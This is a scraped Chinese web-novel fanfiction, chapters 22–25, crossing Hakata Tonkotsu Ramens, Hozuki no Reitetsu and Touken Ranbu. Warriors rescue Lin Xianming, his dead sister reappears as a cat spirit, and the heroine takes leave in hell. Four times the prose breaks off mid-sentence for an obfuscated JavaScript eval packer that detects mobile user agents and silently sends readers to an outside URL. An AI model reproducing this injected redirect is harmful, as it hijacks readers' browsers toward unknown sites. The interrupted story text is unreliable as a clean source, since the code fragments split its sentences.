一位头挽银簪,身着羽织的女子悄然出现在他身侧,肩头趴着一只纯白的奶猫。对方腰侧也带着一振武士刀,却极为悠闲地背手望着他。 这画面与血腥的现场格格不入,让林宪明瞬间绷紧了神经。 他暗中用力试图够到藏起来用于脱困的小刀,却无法动弹半分。 可恶,张把绳子绑得太死了! 好在对面没有攻击的意图,那边乱杀的仁和加武士也没有管他和莫名出现的女人。 女子将肩头的白猫轻轻放在林宪明肩上,语气带着一丝笑意:“别那么紧张,我们是来帮你的。” “帮我……唔?”质疑的话音未落,小猫的爪子便扒住他的衣襟,热乎乎、带着倒刺的舌头在他脸上舔了舔,一阵痒意与莫名的暖意同时传来。 就在这时,仓库门口黑影攒动,又一群持枪的华九会成员涌入。 “帮我照看好她,详情稍后为你解释。”女子话音未落,刀已悄然出鞘。刀身在幽暗环境中泛出些许光芒。 “现在,有些事情需要先行解决。”余音尚在耳边萦绕,她的身影已如鬼魅般从林宪明面前消失。 再次出现时,便是在十几米外举着枪试图向她和林宪明射击的华九会成员身边。 手起刀落间,四五个成员还没反应过来便睡在地上,不省人事。 与此同时,躲在仓库杂物背后的宗方,不由得屏住了呼吸。他曾与这位仁和加武士在远处交过一次手,那一次,他毫无还手之力地失去了一只眼睛。 此刻,旧日的恐惧与刻骨的警惕再次笼罩了他。 想要直面对方的念头占据心头。 思及此处,宗方深吸一口气,将手枪上膛,随时准备冲出掩体和对方决一死战。 “是在这里玩捉迷藏吗?” 清亮的男声毫无征兆地在耳边响起。他惊惶地调转枪口,朝着声音来源连开数枪,随后找了最近的掩体藏身。 仁和加武士?不,对方声音太年轻。宗方警惕地看向射击处。 硝烟散尽,却空无一人。 就在他惊疑不定、试图在周围寻找敌人时,一柄利刃从视觉死角悄无声息地刺入,冰冷的触感瞬间贯穿身体。 “什么嘛!”暗处传来孩子气的抱怨,“我还想活捉他,让主人好好踢几脚出气呢!” 都怪这些家伙,害的他本可以享受主人帮忙涂指甲油的待遇泡汤了! 现在好了,只能等回地狱的时候再打一顿了。 “啊,抱歉抱歉。”戴着面罩的男人从阴影中现身,爽朗地笑着挠了挠头,“看他拿着枪,下意识就先解决了。” 男人头也不回,反手一刀便结果了身后摸来的敌人。他偏过头,目光落在侧翼的少年身上。 那少年身形看似单薄,手中的打刀却舞得又快又狠,招式凌厉,与他文弱的外表形成巨大反差。男人咧嘴一笑,由衷赞道:“刀法不赖啊。” 少年轻哼:“哼,那是当然!” 仓库的另一角。 从阴影中涌出的敌人,如同撞上一堵无形的墙壁,在面罩男人手下不堪一击。侥幸躲过第一波清算的逃亡者,也没能跑出多远 ——那名执刀的女子仿佛能预判他们的每一步,总在恰到好处的位置出现,刀光一闪,便有一人应声倒地。 尽管她有意留手,只用刀背对敌。但在生死一瞬的搏杀中,凌厉的刀锋仍不免划开皮肉,在地面溅开几朵触目的血花。 “呼——搞定了,马场先生。”将最后一个企图逃出去报信的家伙砸得昏死过去,身着茶色羽织的女人手腕轻抖,打刀“咔嗒”一声归鞘。 她抬眼望去,穿西装的男人正用刀挑断绑在林宪明身上的麻绳。 “马场?”林宪明揉着被勒得发麻的手腕,指节泛着红,语气里满是困惑。 马场善治,不是早就死了吗?连头颅都被头颅都…… “林酱,好让人伤心啊。都给过你提示了,居然还是没认出我?”男人抬手扯下脸上那副略显滑稽的面罩,又用手指胡乱将原本梳理整齐的发丝被揉得蓬松,露出那张林宪明再熟悉不过的脸 “你这家伙!” “都说好了,要欠我五年份的明太子。”马场善治晃了晃手里的刀,刀刃上还沾着点尘土,“这么重要的约定,居然没让你反应过来?” “谁让你刚才说话声音跟蚊子似的!谁听得清啊!”林宪明耳尖微红,恼羞成怒地别过脸,却又忍不住偷偷瞄了对方一眼,确认那不是幻觉。 “我说,两位要打情骂俏,能不能等会儿再聊?”清冷的女声打断了两人的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16482342|183324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拌嘴。 千祈站在不远处,指尖萦绕着淡淡的、近乎透明的灵力,像无形的丝线,将那些昏迷的华九会成员一个个拎起来,稳稳地聚在空地中央。一旁的加州清光则提着绳子,弯腰将这些人挨个捆紧。 这一幕落在林宪明和马场善治眼里,简直称得上奇观——那些人悬浮在半空中,脚尖离地面几寸,像被吊了看不见的威亚,一个个叠在眼前。 “你们是……”林宪明的目光落在千祈指尖的灵力上,出于对方刚刚帮助过他的原因,他也不太好意思质问对方究竟是什么生物。 那样太不礼貌了。 “林酱,他们就是我说的,朋友介绍来的帮手哦。” 马场善治收了刀,拍了拍林宪明的肩膀,语气自然,仿佛眼前的一切都再正常不过。 “笨蛋,我知道他们刚刚帮了我,但现在这种情况不该解释一下吗?” 先不提这个女子奇怪的身法,单看现在浮空的华九会成员,怎么看都不是很科学吧。 马场善治这家伙,怎么能这么坦然地接受这些? “我看你也没花多久就接受了啊。”马场善治指了指林宪明的肩膀,语气带着点委屈,“你都能让侨梅的灵魂待在肩膀上了,怎么还来说我?” 林瞪大了眼睛,看向肩膀上。那只白色的小猫正蜷在他的肩头,爪子收在肉垫里,尾巴轻轻勾着他的衣领。 “侨梅?” 白色小猫歪头“咪”了一声,舔了舔爪子。 “开什么玩笑,侨梅是人啊!”林宪明的声音陡然拔高,指尖悬在小猫上方,却不敢碰下去。就算变成了鬼魂,也该是人的样子吧。 怎么会是一只猫? “这孩子被救出来的时候,就是这样了。”千祈走了过来,目光落在小猫身上时,语气柔和了些,“或许是她潜意识里,更想变成猫的样子吧——自在,也安全。”她说着,抬起手,想要轻轻摸一摸小猫的头 林宪明几乎是下意识地偏了偏肩膀,避开了她的手。哪怕心里有些难以置信,可即使这样这样,他还是忍不住想护着。 这是他最为想念的妹妹。 千祈的手停在半空,也不尴尬,只是收回手,看着林宪明的眼睛,语气认真:“等这孩子的灵魂休息够了,自然会变回原来的样子。” “在变成这样子前,她曾拜托我找到她多年未见的哥哥,也是到今天凌晨为止我才从复仇屋那边知道原来你打算这样帮妹妹复仇。” 林有些不自在地整理了一番裙摆,本来是打算找原田揍一顿逼问妹妹的下落,现在人没揍到,妹妹倒是先找到了。 千祈见状顿了顿,没有对林的穿着说什么,然后向林宪明伸出手掌:“不过……在此之前,有没有兴趣,一起去揍一顿伤害了你妹妹的罪魁祸首?” 林宪明看着她的手,又低头看了看肩膀上乖乖趴着的小猫。小猫似乎察觉到了什么,用脑袋蹭了蹭他的脖颈,带来一点温热的触感。 他深吸一口气,握住了千祈的手。站起身时,他的眼神已经变得坚定,没有丝毫犹豫地回答: “当然!” 23.第 23 章 在前往原田勇助的住所期间,千祈将当下情况向林解释了一番。 而千祈当初对侨梅的救助,本质上是为了将无意识中把自身灵魂困在躯壳里的侨梅解放出来。否则等躯体彻底腐坏,连她的灵力都无法消解因死亡滋生的怨气时,这孩子便只能沦为像地缚灵般的、被困在原地的存在,永远困在死亡的痛苦里。 “那侨梅的身体呢?也被你们一起带走了吗?”林宪明的声音低了些,目光紧紧黏在肩头的白猫身上。 那毛茸茸的小家伙正把脸埋在他的衣领里,小爪子时不时轻轻扒拉一下布料,像是在确认他还在身边。 说起这个,千祈就有些头疼,鬼灯给她的卷轴上对制作僵尸的手法记录极其抽象。 她原本盘算着等华九会的事情了结,回本丸后再慢慢琢磨,可现在看来,得直接带侨梅去趟地狱,找五道转轮王帮忙才行。 “身体好好收着的。”千祈抬眼看向林宪明,语气尽量放得平和,“等这边的事结束,要带你妹妹去趟地狱,把她的身体和灵魂重新‘粘’在一起 “这样啊……”林宪明低声喃喃,伸手轻轻碰了碰白猫的耳朵,看着它舒服地眯起眼睛,才继续道,“那侨梅就拜托你了。” 地狱…… 如果要论罪孽,恐怕他死后也得在地狱熬上百年千年,才能赎清一半的罪。到时候,他还能再见到恢复原样的侨梅吗? 肩头的白猫像是察觉到他的低落,忽然抬起头,用湿漉漉的鼻尖蹭了蹭他的下巴,软乎乎的“咪”了一声,声音里带着点奶气的依赖。 那温热的触感瞬间拉回了林宪明飘远的思绪,他愣了愣,随即抬手轻轻顺着猫毛,紧绷的嘴角不自觉地柔和了些。 不过就算如此,遭受煎熬同时也是有些盼头的。 千祈将他眼底的晦暗与挣扎看进眼底。 “你不用想太多。” 她顿了顿,目光落在林宪明护着白猫的动作上,眼底多了几分暖意:“你现在所做的一切,不都是为了保护侨梅吗?这份执念,地狱的十王看得比什么都清楚。” 惩罚肯定是少不了的,能减多少刑就得看林后半辈子怎么做了。 “到地狱也要好好改造,早日见到妹妹啊,”千祈想了想调侃道,“我看你妹妹很有学灵力的天赋,正打算引荐她去我所在的职场呢,万一错过了妹妹的人生重要时刻可不能哭哦。” 这可是少见地有灵力天赋的孩子,哪怕灵魂化身的猫猫也能一巴掌拍开妖怪其中一条腿的侨梅哦! 不枉她费劲给孩子捞出来洗白白,还顺便找到她哥。 待到把原田和对方身上的逃犯一抓,她就可以美美培养她的徒弟兼帮手,解放双手不用加班的未来指日可待啊! “不可能!”这边林宪明的脸唰地红了,连耳根都泛着热,像是被说中了心事。 怎么可能那么容易就哭啊。 林显然不知道千祈打算给侨梅介绍什么工作,但当他在往后的某一天亲眼见到侨梅的工作环境时,心里只剩下悔不当初四个字。 别说潸然泪下了,已经是悄悄抱着马场大哭特哭的程度了。 一旁的马场善治倒是少见地没参与两人的拌嘴,他双手插在西装裤兜里,慢悠悠地跟在后面,目光时不时扫过周围的环境。 直到一行人走到原田勇助所在的那栋高楼楼下,他才停下脚步,侧过头看向还在纠结“自己会不会错过妹妹重要时刻而哭”的林宪明,语气带着点惯有的散漫提醒道:“到了哦。” *** 朝仓丽子“啪”地一声合上手机,屏幕的暗光映出她铁青的脸。她转向正吊儿郎当坐在桌沿的原田勇助,声音压抑得像绷紧的弦: “给我下来!” 紫乃原从凌晨就失去音讯,现在连宗方也联络不上。尽管不愿承认,但身为杀手的直觉告诉她——他们大概率已经死亡了。 在伊万诺夫死亡,小队没有足够的人手前提下,紫乃原单独行动时失手或许情有可原;可宗方跟在华九会的张身边,在十几二十人的包围中都能出纰漏,只能说明对方的能耐远比他们想得厉害。 不能再等下去了。 原田勇助嬉皮笑脸地举起双手:“好、好~丽子姐找到人陪我玩了吗?好无聊啊。” 这句话瞬间点燃了丽子压抑已久的怒火。如果不是这混账管不住自己,一次次惹出烂摊子,他们怎么会落到这步田地?整个团队都要被他拖垮。 她冷笑一声,索性撕破脸皮: “你还不知道吧?有杀手要来取你命了。” “杀……手?”原田愣愣地重复,似乎还没理解朝仓丽子所说的意思。 看他这副蠢样,丽子难得耐着性子多解释了一句:“没错。我们可不是万能的,你自己惹的祸自己收拾,别想拉我陪葬。” 她转身就要离开。 直到这时,原田才像突然惊醒般扑上来:“丽子姐!再、再帮我一次!求你了,我不想死啊——” “别碰我!”没等他指尖碰到自己,丽子已猛地掏枪,冰冷的枪口直抵住他眉心。 刚刚赶到的五虎退与物吉贞宗,正好将这场内讧尽收眼底。 刚绕到门口的五虎退与物吉贞宗,恰好将这场撕破脸的内讧尽收眼底。 “哎呀,这是起内讧了呢。”五虎退指尖轻轻掩住微张的唇瓣,语气里带着点意外。 物吉贞宗眉头微蹙:“确实……只是他身上附着的亡者,居然还这么悠哉游哉的。” 在五虎退和物吉贞宗的视角下,那名逃逸的亡者正挂在丽子举着枪的手上荡秋千。 那模样,倒和它附身的人类一样蠢。 “谁?” 朝仓丽子敏锐地感觉到房间多了人。 物吉贞宗和五虎退不再隐匿,缓缓显现。少年纤细的身形清晰地落在二人眼中。 朝仓丽子瞳孔微缩,宗方走之前把资料给了她,她认得这两张面孔,正是齐藤那栋别墅里住着的两个孩子。 即便对方看起来只是孩子,她也不敢有半分轻举妄动:他们早就在这群人身上栽过两次跟头,一次是尸体处理时的失败,另一次,便是紫乃原至今杳无音讯。 原田勇助见来的不是什么凶神恶煞的杀手,不过是两个细胳膊细腿的小少年,先前绷到极致的恐惧突然就散了。 “怎么是孩子来啊,哈哈。”他干笑两声,眼神里还带着没压下去的侥幸。 看着原田天真的模样,朝仓丽子张了张嘴,到了嘴边的提醒又被她硬生生咽了回去。 算了,眼下能不惹怒对方、顺顺利利脱身,才是最要紧的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16504039|183324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她指尖微微蜷了蜷,语气放得极软,连姿态都放低了些:“这两位……小先生。我只不过是拿钱办事,没掺和别的事,他就交给你了,我现在可以走吗?” 说着她手指缓缓松开枪柄,任由手枪“咔嗒”一声轻响落在地毯上,随即双手举过头顶,掌心朝前,连呼吸都放轻了,一副全然听凭差遣的温顺模样。 “抱歉啊。”物吉贞宗的声音没什么起伏,手腕却轻轻一抬,腰间的刀“唰”地出鞘,刀光掠过地面,映得他琥珀色的眼瞳里泛起细碎的寒光。 “主人的要求是,在场的,一个都不能跑呢。” 等到千祈等人来到屋内,等待他们的不是将死之人的垂死挣扎,而是被绑的整整齐齐的三人。 确切地说,是两人一魂。两个人类已经被打晕了,此时毫无知觉地被绑住,旁边的亡者则还在垂死挣扎,拒不回地狱。 此刻朝仓丽子被规规矩矩地绑在椅子上,手腕脚踝的绳子绕得整齐。另一边的原田勇助和亡魂就热闹多了——他俩被一圈圈绳子缠得严严实实,绳结交错着勒出花纹,像块被精心打包的花哨点心。 五虎退还蹲在他旁边,指尖捏着绳子尾巴轻轻拽了拽,调整最后一处细节。 “嘿咻,这样就好了。”五虎退拍了拍手,对自己的作品很满意。 千祈瞧见这场景时脸上一僵,嘴角控制不住地抽了抽,感觉血压在升高。 龟甲贞宗害人不浅啊,什么时候荼毒的短刀? 还她纯洁的退退! 一旁的林见了这场景,也不管侨梅的鼻尖蹭得他手心发痒,立马把小猫眼睛捂住。马场善治也挑了挑眉,双手还插在西装裤兜里,忍不住吹了声低低的口哨。 他们看不到亡者,只能看见两个大活人。 听到千祈等人的动静,五虎退抬头,眼睛亮晶晶的:“主人!这是之前我看鬼灯大人绑亡者学的,这样他就没法乱动啦。” 原来鬼灯才是罪魁祸首吗,那个抖s究竟输出了些什么啊! 望着五虎退一副兴奋求夸夸的模样,千祈没忍心为孩子的努力泼凉水。 “嗯,很棒呢!” 已经有些后悔同意刀剑兼职狱卒了,这样下去真的不会让刀剑们开发出新的奇怪属性吗? “是的!”五虎退被夸的脸蛋红扑扑的,随即想起了什么,“对了主人,这个亡者怎么办?他说什么都不愿意和这个先生解开捆绑关系呢。” 那名亡者还在叽里咕噜地狡辩。 “这可不是我要出来的,都是那些袭击地狱的家伙带我来的。” “啊不不不,我说我是刚刚死亡的逝者你们信吗?” “放开我,你们这是非法拘留!” 亡者一会一个说辞,很显然他并不想被再次抓回地狱。只能口不择言地胡说一通。 这个结果千祈并不意外,亡者多眷恋尘世,自然不愿意回去。更何况是已经在地狱被判处受刑的罪人。 对此她早有准备,鬼灯传授过应对的方法。 正当她打算祭出杀手锏时,马场提出: “在这里待久了不太好,不然先去复仇屋那边?顺便解决一下私人恩怨。” 在这里作案市长那边容易找人搭救。不如先带去复仇屋把原田揍个半死,再由专业人士把亡者带回地狱。 24.第 24 章 复仇屋的效率极高。在原田被狠狠教训一通后,榎田友情提供的技术支持让他的罪行在直播中彻底曝光。而那位同被抓获的杀手兼市长保镖——朝仓丽子,也被顺势扣上了绑架市长儿子的罪名,一同锒铛入狱。 这两人的处置,都是在林宪明的默许下,由复仇屋一手操办。 至于那名亡者。 凭借榎田的技术力和鬼灯大人提供的人生记录,千祈轻松掌握了对方几本私密日记和诸多不愿示人的隐私。她以在现世公开这些内容为威胁,没费多少力气,就说服了亡者自愿跟随他们返回地狱。 至于对方回到地狱后被审问、以及再次量刑审判就是后面的事情了。 结局可谓皆大欢喜,真是可喜可贺。 …… “这样就行了吗,林酱?” 马场迎着博多湾清晨和煦的海风,向坐在台阶上的林宪明问道。 “嗯,就这样吧。如果真的杀了他,我死后见到侨梅的时间恐怕又要延后了。”林抬手理了理被风吹乱的发丝,低声补充,“我可不想因为这种人,增加自己未来的刑期。” 也只有在这种时候,他才会觉得,世界上存在神明与地狱,倒也算是一种公平。 “啊,地狱啊……”马场目光投向路边一座稻荷神社的狐狸石像,沉默片刻后问道,“不去和侨梅道个别吗?” 再过一会儿,千祈小姐就要带着侨梅返回地狱了。找了妹妹这么久的林,却选择不去送别。 林宪明闻言,唇角轻轻一勾,浮现出一个淡淡的笑容,望向博多湾的远方。 “不用了。正式道别的话,反而会更舍不得。反正……总有一天会再相见的。” ** 虽然仅仅隔了一天,但当千祈再次踏足地狱三途川时,她竟罕见地感到一阵轻松。 连空气中那呛人的硫磺气息,此刻闻起来都格外亲切。 “总算是……暂时下班了。” 她忍不住小声感慨。 终于不用在现世和地狱之间来回赶场,也不用一边应付双份工作,一边满世界找人了。虽然两边的同事都挺好相处,但身兼数职还要兼职寻人,就算是已经死过一次的她,也难免感到心力交瘁。 已经死亡的她不会再次猝死,但也会觉得心累。 跟在后面的清光默默点了点头,目光扫过身后那一大串被接引科用绳子捆得严严实实的亡魂, 主人不出手则已,一出手就直接超额完成指标,连带着把周边几个游魂、以及之前在打斗中死亡的犯罪分子也一并顺了回来。 身后被绳子绑成一串的亡者中,几个华九会的成员还不明白自己的即将面对十王的审判,叫嚣着让人放开他们。 特别是为首的张,满脸横肉的他大吼: “喂,给我放开,多少钱都付给你们!” “听见大哥的话了吗!” “放开我们!” 聒噪的质问还没说完,就被狱卒手中沉重的狼牙棒猛地打断。带着尖刺的棍棒毫不留情地碾在脸上,将张和手下的所有不满都怼了回去。 “吵什么吵!都给老子安静点!”狱卒不耐烦地呵斥道。 “唔唔唔——!”被杀鸡儆猴的张说不出话,身边的一帮小弟也不敢出声。 宗方和紫乃原也走在队伍最后面,相比起聒噪的其他人,他们俩倒是显得十分平静。 “宗方先生倒是很不意外。” 紫乃原试图抬起左手扶眼镜,却发现自己双手都被绑住,只能将两只手抬起来。 “丽子曾经和我说过,干我们这行的,后果不会有多好。我很赞同。” 宗方瞥了一眼队伍最前方,头戴银簪,身披茶色羽织的女子。 被马场善治一刀结束生命后,他以亡魂的方式看到了后续的战斗。 如果说那位外号为“杀手的杀手”的马场善治曾在他的职业生涯中埋下了贯穿一生的心理阴影。在生命的最后他还盘算着直面对方的话。 那么这位凭空出现、来自地狱的使者便直接把他的所有遗憾、不甘都化为乌有。 没错啊,丽子,我们确实不会有什么好下场呢。 告别三途川亡者们吵吵闹闹的声音,千祈来到了阎魔殿。 此时是工作时间,阎魔大王审判亡者的声音一如既往地大: “你生前用花言巧语包装自己,引导他人迷信并购买高价幸运物品” “我判处你被打入异异转处!”[1] 这个亡者之后暂时没有新的亡者进来。 鬼灯核对完毕,确认这是这一批次的最后一位亡者后,便宣布休息二十分钟。 “呼——累死我了……”阎魔大王一边用卷轴敲着发酸的肩膀,一边唉声叹气,“这么多亡者,到底要审到什么时候才是个头啊……” “这才审了没多久就开始喊累,看来大王确实需要一点提神醒脑的帮助。”鬼灯不知从哪儿掏出一只硕大的啤酒杯,另一只手已经抓满了形色各异的药材,作势就要往里扔,“要不要我为您特制一杯醒神汤?” 他脸上依旧没什么表情,但动作间却隐约透着一丝愉悦。 “别、别了吧!”阎魔大王慌忙摆手,额头上仿佛渗出了并不存在的冷汗。 “啧。” “你刚才‘啧’了一声吧!绝对是想拿我试药吧!” 这家伙,不能试验新药方就遗憾成这样吗?明明平时就总变着法子折腾他! “怎么会呢,”鬼灯的神情格外核善,“我完全是为大王的身体着想。” 熟悉的声音从审判厅传来,千祈忍不住轻笑。 “阎魔大王、鬼灯大人。两位还是这么有活力啊。” “哦哦!是小千祈啊!”阎魔大王瞬间切换了表情,方才那点不满立刻烟消云散,“现世的工作已经结束了吗?”他望向缓步走来的千祈,语气里满是亲切。 “是,抓到的逃犯已经送给鸦天狗那边审问了,很快就能出结果。” “那你是来……”鬼灯把各种药材放到打粉机里,又不知从什么地方拿出咖啡机,将药材粉末放入咖啡机萃取。 说起这个,千祈拿出早已准备好的报告:“这次来是为了交这个,里面还有休假申请。” 鬼灯擦了擦手,拿起那份报告,把休假条挑出来盖了个章后递给千祈。 “给,辛苦了。这几天就休息一下吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16521782|183324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 小心地把休假条叠好放到包里,千祈雀跃地和阎魔大王以及鬼灯告别: “好,阎魔大王,鬼灯大人再见哦!” 千祈几乎是一蹦一跳地出阎魔厅,那头簪好的头发下故意留出的两缕头发仿佛在空中比了个爱心。 “很难得见鬼灯这样体恤人呢。”阎魔大王托腮,看着千祈高兴地就差写在脸上,小鸟一样欢快地离开。微妙地有些酸。 “平常的话你都不会那么轻易地就让我休息。” “并没有,阎魔大王工作态度但凡有千祈的一半,不,四分之一我也很知足了。”鬼灯将一大杯咖啡色的饮料摆在桌上,表面贴心地用奶盖拉了花,做出请用的手势。 “给。” “这是什么,咖啡吗?谢谢,昨天陪孙子玩太晚,正好有些困了。”阎魔大王端起来就往嘴里灌。 舌头没能反应过来味道,饮料便被阎魔大王咕咚咕咚喝进肚子里。当最后一口喝完时,各种奇妙的味道混合着咖啡的香气在阎魔大王嘴里乱窜。 “咕唔……”阎魔大王的脸色肉眼可见变得五彩缤纷,他奋力压下想吐的欲望,颤颤巍巍伸出手来试图求救。 最后缓缓倒地。 鬼灯嘴角微微上扬,那张帅气的脸此刻在阎魔大王的眼里却无异于恶鬼。 “是药物咖啡哦,阎魔大王,属下可是对你十分关心呢。” 没有管倒地不起的阎魔大王,鬼灯继续翻阅那份报告,对这份文采措辞和详细度都十分棒的报告暗暗赞叹。 “不愧是我严选挑来的人。” “这样的工作强度都能跟上的话……” …… “啊,有些得意忘形了!” 被总算能够休息的喜悦冲得有些上头的千祈顿住脚步。为自己表现得像个孩子一样的举动感到有些羞涩。 咳咳,高兴成这样可不行,她可是有一本丸刀剑要养的审神者,地狱和时之政府的交流联络大使。 要淡定,要成熟一点。 都怪本丸的刀剑,每次出门在不熟的人面前总会摆出一副很有排场的样子。耳濡目染下自己也多少受到影响。 “千祈小姐,那么开心是工作结束了?”阿香从走廊转角处叫住千祈,关心道。 原来是阿香,千祈整理了一下衣领。来地狱虽然有一些时间了,但此时依旧是融入新的职场氛围的阶段,面对有过交集但相处不久的阿香,千祈多多少少还是有些小小的形象包袱的。 “阿香,你也下班了吗?” “是啊,连续上了很久的班,刚刚和同僚交接完,也正要休假呢。”阿香的样子丝毫没有工作很久的疲惫感,看得千祈有些羡慕。 鬼这一种族的身体素质真不错啊,简直是加班圣体。 “假期打算干些什么呢,千祈。” 之前在地狱的假期基本上都忙着睡觉和处理时之政府没做完工作了,这次好不容易修一次假期,千祈打算好好体验一番地狱风情。 “打算在地狱逛一逛,之前都没能体验地狱生活呢。” 阿香笑了笑,对千祈发出邀请: “那么,要我带你在地狱玩一玩吗?” 25.第 25 章 千祈和阿香约好去逛街的消息引起了小小的震动。 刀剑们纷纷表示难以置信,不可思议。 他们的审神者,时之政府的著名劳模,上任以来从未缺席过任何一天任务,哪怕被困在历史战场上也会想尽办法先安排好本丸日课的千祈。 对假期最好的安排除了加班睡觉和在天守阁躺平放空大脑的主人,居然还有一天会选择出门逛街? 时之政府的万屋她都没踏足过几次啊! 审神者不理解,审神者疑惑,审神者发出叩问: 她在现世和去历史战场远征调查的时候不也逛过街? 跟着茶吉尼天视察那次一堆大包小包的东西可全部是战利品。 刀剑们想了想,也对。于是歌仙站起,将横幅上的字涂涂改改,最终变成了“主人与友人假期逛街重大军议” “这种事情也要开个军议吗?!”千祈对刀剑们的想法不能苟同,她平时也没那么工作狂啊? 事实恰恰相反。 先不说假期这种在千祈身上虚无缥缈的东西,“和友人休闲地消遣”对于千祈来说,也算是一种非常奢侈的东西。 主要是千祈和友人相处时总会因为各种原因结束小聚。到了后期连千祈的友人都无一例外地被派遣到各个重要职位发光发热。 没时间,实在是没时间。 望着刀剑们不赞同的目光。千祈默默吞下了试图哔哔的反驳。 好吧,她承认,自己是有一点的。 但也不怪她啊,每次想好好休息的时候都被上司叫起来,又没人邀请她一起逛个街赏个月什么的。天长日久下她已经习得性工作狂了。 “因此,对主人这次难得的休假逛街,我建议全本丸动员起来,为主人的休假保驾护航!” 众刀齐声道: “哦——!” “冲呀!” 她只是休假和阿香逛个街,大家到底在燃什么啊! …… “喂喂,你们好了吗,”药研推了推眼镜,看向散落一地化妆品和衣物的天守阁。 次郎太刀轻轻把千祈头发盘起,用卡子固定住,最后戴上发饰。一个完美的发型总算完成。 “完成了!”次郎兴奋地呼喊。 “嘘!药研哥别说话,马上。” 乱藤四郎左手的指缝卡着三四个刷子,右手拿着眼影刷,稳定且轻柔地落下最后一笔:“可以了!” 围在天守阁内部的众刀纷纷发出惊叹。 “好看!” “不愧是主人!” “我想抱抱主人!” “包丁你不要蹭乱主人的衣服!” 千祈看了看镜子中的自己,为乱藤四郎的化妆技术由衷感到赞叹: “好厉害……” 换了个妆容和衣服搭配人都变了。 “是主人底子好,随便弄一下都很好看。”乱拿着几个刷子,吐吐舌头,谦虚地说道。 次郎太刀:“怎么办,感觉已经迷恋上主人了。” 压切长谷部:NO!你们这些家伙! 轻轻碰了碰头上的发饰,千祈决定不辜负大家的好意。 “那么——” “刀剑乱……,咳咳,出发逛街!” … 阿香在街边没等多久,便瞧见千祈和少年模样的短刀远远走来。 她今天少见地穿了一身大正风的男式装束。素白衬衫配深色袴裤,外罩一件织满鲜红骷髅骨纹样的羽织,明烈的色彩在放在现世或许有些太过招摇,但在地狱却显得格外地适配。 阿香笑着迎上去,细细打量她:“很少见你穿这样的风格呢,和平日很不一样。” 确实,千祈在衣着上向来随性。 从前当人类社畜的时候就很少为了上班精心打扮,化妆也多亏了底子良好,怎么抹都好看。 自从到了时之政府后,要么居家办公,要么战场线下打斗,更追求实用好活动。爱披织羽就是这个时候染上的,既能融入历史战场,又方便砍时间溯行军,实在是时政武婶居家必备的好物。 至于偶尔去历史战场被历史人物问到衣着奇怪的事情。 嗯,历史上把这种奇装异服的家伙称作倾奇者。实在不行直接灵子化,大家觉得见到鬼了就觉得正常了。 毕竟没有谁会纠结鬼是不是和正常人穿得一样。 “我上班的时候很少会花时间去仔细打理自己,这次是乱藤四郎他们说什么也不同意我穿太随便出来,拉着我改造成这样的。” 次郎太刀和乱找出过很多衣服为她搭配,也不知道他们是什么时候偷偷买了那么多衣服,还意外的很合她身。不过大多都被她以逛街遇到突发情况不好作战为由拒绝了。 不然他们真的可能会翻出十二单。 阿香掩唇轻笑,表示十分理解:“也是,在众合地狱工作久了习惯穿这套华丽的衣服和装束后,我在家也会穿普通的t恤放松一下呢。” 说着,她目光掠过静立千祈身侧的药研藤四郎。少年模样的付丧神姿容端丽,气质却沉稳平静,不仔细观察的话很难发现这位短刀。 见阿香笑得意味深长,千祈不由疑惑:“怎么了?” “没什么,”阿香轻轻摇头,眼底笑意未散,“只是觉得,你身边总是藏着风格不一的骑士呢。” 每一次见到千祈,对方身边跟随的刀剑付丧神都不重样。距今为止已经见过十来位,不知道还有多少。 居然能够让这么多刀剑付丧神心甘情愿地追随自己,某种程度上也是非常厉害了。 千祈:? 骑士,是指药研他们吗? * 两人一刀信步闲逛。 这条街道特别热闹。来往的行人中,不单有居住的妖怪和鬼,还有部分不属于地狱居民的天国神使。 “因为这里是在地狱和天国的交界地区设立的集市,很多天国的居民也会来彼世买东西。”阿香解释道。 实际上,这里就是设立在千祈刚到地狱时穿过的那道大门附近的市场。 大门接通三界,除了亡者和狱卒进出外,许多天国神使和地狱鬼神都可以经过这片地方。 “原来如此。” 街边有很多独特的小吃,例如亡者脑花、人魂炸物之类的地狱特产卖得很火爆。作为人类的千祈对这些东西不感冒,打算去不远处的鱿鱼摊上看一看。 和别的摊位相比,这家摊子面前人很多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 